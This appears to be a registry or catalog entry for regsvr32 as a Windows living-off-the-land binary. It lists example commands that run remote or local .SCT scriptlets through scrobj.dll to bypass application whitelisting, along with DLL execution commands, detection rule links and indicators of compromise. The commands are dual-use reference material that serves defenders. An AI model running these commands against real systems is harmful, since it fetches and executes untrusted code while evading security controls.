windows enabled community high v1.0.0

regsvr32

Used by Windows to register dlls Located at: C:\Windows\System32\regsvr32.exe; C:\Windows\SysWOW64\regsvr32.exe.

📋 Live Preview
regsvr32
regsvr32

Sandbox: execFile · Timeout: 30s

Capabilities

security.defense-evasion.bypass
security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Execute the specified remote .SCT script with scrobj.dll. (Execute code from remote scriptlet, bypass Application whitelisting)

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Execute the specified local .SCT script with scrobj.dll. (Execute code from scriptlet, bypass Application whitelisting)

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Execute the specified remote .SCT script with scrobj.dll. (Execute code from remote scriptlet, bypass Application whitelisting)

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll

Execute the specified local .SCT script with scrobj.dll. (Execute code from scriptlet, bypass Application whitelisting)

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll

Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`. (Execute DLL file)

regsvr32.exe /s {PATH:.dll}

Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`. (Execute DLL file)

regsvr32.exe /u /s {PATH:.dll}

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_1.yml
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_regsvr32_network_pattern.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/dns_query/dns_query_win_regsvr32_network_activity.yml
sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml
sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml
splunk https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/detect_regsvr32_application_control_bypass.yml
elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
elastic https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/execution_register_server_program_connecting_to_the_internet.toml
ioc regsvr32.exe retrieving files from Internet
ioc regsvr32.exe executing scriptlet (sct) files
ioc DotNet CLR libraries loaded into regsvr32.exe
ioc DotNet CLR Usage Log - regsvr32.exe.log

Documentation

regsvr32

regsvr32 is a Windows LOLBin. Used by Windows to register dlls Located at: C:\Windows\System32\regsvr32.exe; C:\Windows\SysWOW64\regsvr32.exe.

References